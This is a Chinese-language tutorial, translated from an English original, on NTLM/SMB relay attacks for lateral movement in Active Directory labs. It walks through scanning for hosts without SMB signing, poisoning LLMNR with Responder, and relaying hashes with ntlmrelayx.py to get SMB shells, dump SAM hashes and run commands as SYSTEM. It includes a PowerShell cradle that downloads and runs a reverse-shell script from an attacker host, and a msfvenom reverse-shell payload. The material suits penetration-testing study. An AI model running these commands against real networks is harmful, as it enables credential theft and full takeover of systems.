AD 横向移动-SMB 中继攻击

本文通过 Google 翻译 Lateral Movement – NTLM Relay Attacks 这篇文章所产生，本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。

注：因 LDAP 概念模糊的原因，本文刻意删除了有关 LDAP 中继利用的部分。

0、前言

在这篇文章中，我们将探讨可用于执行 NTLM 中继攻击的 SMB 中继攻击技术，以便横向移动并访问网络中其它机器的资源。建议在开始学习本文之前，先回顾一下《AD 侦查-LLMNR 毒化》这篇文章的内容，然后再看看本文是如何使用 Responder 和 ntlmrelayx.py 工具来发起 SMB 中继攻击的。

注：任何基于 NTLM 认证协议的应用均可能遭受 NTLM 中继攻击，例如：SMB、HTTP、LDAP 这些应用。而在本文中，将主要介绍针对 SMB 发起的 NTLM 中继攻击，又称 SMB 中继攻击。

1、SMB 中继攻击概述

SMB 中继攻击是指攻击者捕获用户发出的 Net-NTLM 哈希，然后将其中继以访问网络上已禁用 SMB 签名的另一台计算机。

此外，SMB 中继攻击在不同的工作场景中又有着不一样的利用方式，如：

（1）在工作组环境中，机器之间相互没有信任关系，因此想中继到其它机器是不太现实的。但是可以中继到机器自身的，只不过这种方式微软已通过补丁 MS08-068 做了限制，严禁在中继到机器自身。

（2）在域环境中，普通域用户默认可以登录除域控外的其它所有机器，因此可以将域用户的 Net-NTLM 哈希中继到域内的其它机器。所以，SMB 中继攻击在域中会更为常见。

如果被中继的帐户恰好在被中继的机器上具有本地管理权限，那么就可以利用它们的权限转储主机上的 SAM 哈希或获取主机上的 SYSTEM shell。

注：在域环境中，身份验证通常优先使用 Kerberos 协议，NTLM 作为回退机制。当 Kerberos 不可用时，例如无法获取服务票据或目标服务不支持 Kerberos，客户端会自动回退使用 NTLM。而中继攻击，如使用 ntlmrelayx.py 实现的攻击，依赖于受害者使用 NTLM 协议进行身份验证。因此，该攻击程序通常通过控制网络流量或与目标服务建立不支持 Kerberos 的连接，从而促使客户端使用 NTLM，进而实现认证中继。

2、枚举已禁用 SMB 签名的主机

为了可以发起 SMB 中继攻击，我们需要做的第一件事就是找到那些在网络中已禁用 SMB 签名的机器。

2.1、SMB 签名启用与否的影响

启用后，在尝试传递凭据时，域会知道你不是那个真正的人，因为数据包未由你签名，因此它不会让你进入。
禁用后，域将不会检查请求来源的真实性，而只是看到用户 + 哈希值，并允许你进入系统。（前提是你有权限）

在 Windows Server 系统中，SMB 签名默认处于“已启用且必需”的状态；然而，在任何工作站上，它却默认显示“已启用但非必需”的状态。虽然显示“已启用”，但我们仍可以执行中继攻击，因为“非必需”本质上等同于禁用。

2.2、Nmap 枚举

要枚举主机的 SMB 签名状态，我们可以利用 nmap 预装的脚本 smb2-security-mode.nse 进行检查。

举个例子，假设我们通过 nmap 来扫描网络中打开 445 端口的主机有哪些。

nmap -Pn 172.16.1.0/24 -p445

可以看到有 3 台 Windows 主机开放了 445 端口。为此，我们可以将这 3 个 IP 保存在 SMB_IPs.txt 文件中。

然后，就可以使用以下脚本查找主机列表中每个 IP 的签名状态：

nmap --script=smb2-security-mode.nse -iL ./SMB_IPs.txt -p445

可以看到，172.16.1.5 已启用签名，这意味着它很可能是一个服务器；而 172.16.1.100 和 172.16.1.200 都启用了签名但不是必需的，这表明它们容易受到中继攻击！

如果网络中有很多主机，就需要使用 nmap 进行有针对性的扫描，这样就能在全面扫描运行时找到一些可用的东西。

2.3、RunFinger.py 枚举

Responder 预装了一个非常酷的工具，叫做 RunFinger.py。此脚本用于对开放 445 端口的 Windows 主机进行指纹识别，以查找其 SMB 签名状态。

如下所示：

./RunFinger.py -f /opt/Juggernaut/SMB_IPs.txt

输出结果略显紧凑，但我们可以看到 172.16.1.5 的 SMB 签名状态为 True，而 172.16.1.100 和 172.16.1.200 的状态都设置为 False。此外，我们还可以看到一些额外的指纹信息，例如版本号、RDP 是否已启用，以及 OS 类型。

2.4、CrackMapExec 枚举

crackmapexec 应该是检查网络中所有机器 SMB 签名状态的最佳工具了，因为它会自动将那些禁用 SMB 签名的主机 IP 全部写入一个文件中。

crackmapexec smb 172.16.1.0/24 --gen-relay-list smb_signing_disabled.txt

3、启动 Responder

在使用 Responder 执行 SMB 中继攻击时，我们需要关闭 Responder 的SMB 和 HTTP 服务，这样便可以让其只监听请求而不做出响应，否则会影响 ntlmrelayx.py 的正常运行。

而关闭服务的方法则是修改配置 /usr/share/responder/Responder.conf 中的参数开关。

在配置文件修改完成之后，我们便可以确认毒化网卡以启动 Responder 。

responder -I eth0 -v

一切准备就绪之后！接下来，就让我们来看看这次攻击的实际效果如何。

4、SMB 中继攻击：Responder + ntlmrelayx.py

ntlmrelayx.py 是Impacket工具套件中的一个工具。

当 Responder 与 ntlmrelayx.py 结合使用时，Responder 只是起着在局域网毒化 LLMNR 的作用，诱使那些访问输错域名的机器来访问攻击机上的假冒服务。这与在文章《AD 侦查-LLMNR 毒化》中不同的是，这次的假冒服务（SMB、HTTP）不再由 Responder 去扮演，而是通过 ntlmrelayx.py 去扮演。ntlmrelayx.py 会将收到的身份验证请求转发到另一台目标计算机，进而实现中继攻击。

如果发出请求的帐户是常规域用户，那么我们可以像使用 smbexec.py 一样进入 SMB shell。但如果该域帐户在目标计算机上恰好具有本地管理权限，那我们就可以转储 SAM 文件以提取本地密码哈希值、启动 SYSTEM shell 等！

注：域用户可成为某域主机的本地管理员账户的操作命令：net localgroup administrators "DOMAIN\username" /add。

注：以下示例中的命令用法二、三、四，要被顺利执行，必需满足这些条件才行：（1）受害机器的默认共享 C$、ADMIN$ 是开启状态才行，否则虽然中继成功了，但是主要的操作却没有完成。（2）被中继的账户在受害机是本地管理员权限，否则无权限执行命令以及转储 SAM 文件。

而命令用法一则无此以上这些条件的限制。

4.1、命令用法一：标准用户 + SMBClient Shell

在这个示例中，我们将把 NetNTLMv2 哈希从 172.16.1.200 中继到 172.16.1.100。

假设我们在枚举过程中，发现 172.16.1.100 和 172.16.1.200 上的 SMB 共享资源匿名用户是被拒绝访问的。因此，我们需要找到有效的凭据来枚举共享，而这也正是 SMB 中继发挥作用的地方！

通过将凭证从一台机器转发到另一台机器，我们将能够以有效用户的身份访问 172.16.1.100 和 172.16.1.200 上的共享资源。我们只需等待任意一台机器上的用户发生事件（共享资源地址输入错误），然后就可以开始工作了！

为此，我们将在 ntlmrelayx.py 工具中使用之前创建的 IP 列表文件 SMB_IPs.txt，以从文件中的机器里寻找中继机会。由于 Responder 已经运行，接下来启动 ntlmrelayx.py 等待即可：

ntlmrelayx.py -tf SMB_IPs.txt -smb2support -i

此命令会将来自列表中任意 IP 的所有请求转发到列表中的所有 IP。如果从一台机器转发到另一台机器的帐户有权访问共享文件夹，那么由于我们使用了 -i 选项，这将在受害者的 11000 端口上创建一个绑定端口，然后就可以使用 netcat 进行访问。

现在，假设在 172.16.1.200 这台机器上一个名为 vcreed 的用户意外地将共享名称“share”错误地输为“sahre”。

回到 Responder 可以看到，在用户尝试访问名为“sahre”的共享时，我们毒化并篡改了该请求，使其最终向攻击机发起了 SMB 共享的访问。

然后再回到 ntlmrelayx.py 可以看到，它将 NetNTLMv2 哈希逐一中继到了 IP 列表中的所有机器：172.16.1.5、172.16.1.100、172.16.1.200。

其中：（1）172.16.1.5 由于已启用 SMB 签名，因此针对该机器的攻击失败（虽然显示绑定端口 11000 已打开，但无法访问。）；（2）172.16.1.100 由于已禁用 SMB 签名，因此针对该机器的攻击成功，并且对应该机器的绑定端口也已在 11001 上打开；（3）172.16.1.200 虽然也已禁用 SMB 签名，但由于中继自身是被微软禁止的，因此攻击失败。

您无法将凭据从一台机器中继到同一台机器。中继攻击唯一有效的方式就是将凭据从一台机器中继到另一台机器。

由于 172.16.1.100 在 11001 上有一个绑定端口，因此我们可以使用 nc 与该端口进行交互。

进入这个 shell 之后，我们可以发现，这其实是一个 SMB 客户端，通过这个客户端，我们便可以枚举当前账户在此机器上有权访问的共享文件夹了。

而此时恰好就发现了一个名为“share”的自定义共享文件夹，而其中又包含一个名为 new_users.txt 的文件，这种文件在打靶时意味着里边很可能会包含着一些关键的信息。

4.2、命令用法二：本地管理员用户 + SAM 哈希转储

如果在上个示例中的 vcreed 用户恰好又是工作站 172.16.1.100 上的本地管理员，那又会发生什么情况呢？

与上一个示例中的操作一样，这里再次启动 ntlmrelayx.py，但这次删除 -i 选项，以便它使用默认功能，即转储本地 SAM 哈希：

可以看到，这次 ntlmrelayx 直接将 172.16.1.100 机器上的本地 SAM 文件中的用户哈希全部提取了出来。

4.3、命令用法三：本地管理员用户 + 命令执行 1

在 ntlmrelayx 命令上添加 -c 选项可以允许我们在受害者主机上执行命令。而如果我们中继的账户恰好是本地管理员用户，那么该命令将以 SYSTEM 权限执行。

继续上个示例中场景，这次我们使用以下命令启动 ntlmrelayx 进行测试：

ntlmrelayx.py -tf SMB_IPs.txt -smb2support -c 'whoami'

可以看到，这次我们在 172.16.1.100 机器上是以 SYSTEM 权限执行的 whoami 命令。既然我们已经有了在受害机远程执行命令的能力，那现在就可以更进一步，直接获取受害者的 shell。

获取 shell 的方法有很多，但这里我们将使用 Nishang 脚本集合中的 Invoke-PowerShellTcp.ps1 去获得反向 shell，具体设置过程此处不再赘述，这里直接展示利用效果。

ntlmrelayx.py -tf SMB_IPs.txt -smb2support -c "powershell.exe -c iex(new-object net.webclient).downloadstring('http://172.16.1.30:8000/Invoke-PowerShellTcp443.ps1')"

回到 nc 监听器，我们便得到了一个 SYSTEM shell！

4.4、命令用法四：本地管理员用户 + 命令执行 2

使用 ntlmrelayx 获取 Shell 的另一种技术是添加 -e 选项，此选项会自动将攻击者的机器的恶意 EXE 文件传输到受害者机器并执行。

首先，我们使用 msfvenom 来制作一个反向 shell 程序：

msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f exe -o shell.exe

接着，在 443 端口上启动 nc 监听器，同时以下面的方式启动 ntlmrelayx：

ntlmrelayx.py -tf SMB_IPs.txt -smb2support -e ./shell.exe

待中继攻击开始之后，我们可以看到该文件被随机命名并上传到了受害机的 ADMIN$ 共享中，然后在受害机上被执行。（而这也与 psexec 使用的技术很相似）

回到 nc 监听器，我们得到了一个 SYSTEM shell！

虽然这种技术相当简单，但因它会将文件下载到受害者机器的磁盘上，因此它的隐蔽性不如使用 -c + Nishang 脚本获取 Shell 的方式好。